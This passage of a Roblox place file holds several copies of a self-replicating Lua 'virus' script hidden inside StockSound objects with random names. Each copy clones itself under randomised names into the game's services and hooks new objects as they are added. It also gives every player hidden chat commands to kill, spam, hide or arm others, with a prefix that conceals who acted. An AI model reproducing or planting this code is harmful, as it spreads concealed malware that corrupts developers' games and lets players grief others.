if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
	</Item>
	<Item class="ControllerService" referent="RBX966">
		<Properties>
			<string name="Name">Instance</string>
			<bool name="archivable">true</bool>
		</Properties>
	</Item>
	<Item class="ChangeHistoryService" referent="RBX967">
		<Properties>
			<string name="Name">ChangeHistoryService</string>
			<bool name="archivable">true</bool>
		</Properties>
	</Item>
	<External>RBX968</External>
	<Item class="Timer" referent="RBX969">
		<Properties>
			<string name="Name">Instance</string>
			<bool name="archivable">true</bool>
		</Properties>
	</Item>
	<Item class="Debris" referent="RBX970">
		<Properties>
			<int name="MaxItems">300</int>
			<string name="Name">Debris</string>
			<bool name="archivable">true</bool>
		</Properties>
		<Item class="StockSound" referent="RBX971">
			<Properties>
				<bool name="Looped">false</bool>
				<string name="Name">d764crw</string>
				<int name="PlayCount">-1</int>
				<bool name="PlayOnRemove">false</bool>
				<Content name="SoundId"><null></null></Content>
				<float name="Volume">0.5</float>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Script" referent="RBX972">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">1j62htbs</string>
					<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
	</Item>
	<Item class="Geometry" referent="RBX973">
		<Properties>
			<string name="Name">Geometry</string>
			<bool name="archivable">true</bool>
		</Properties>
	</Item>
	<Item class="Teams" referent="RBX974">
		<Properties>
			<string name="Name">Teams</string>
			<bool name="archivable">true</bool>
		</Properties>
		<Item class="StockSound" referent="RBX975">
			<Properties>
				<bool name="Looped">false</bool>
				<string name="Name">2gzrc34e</string>
				<int name="PlayCount">-1</int>
				<bool name="PlayOnRemove">false</bool>
				<Content name="SoundId"><null></null></Content>
				<float name="Volume">0.5</float>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Script" referent="RBX976">
				<Properties>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">ur1g0</string>
					<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
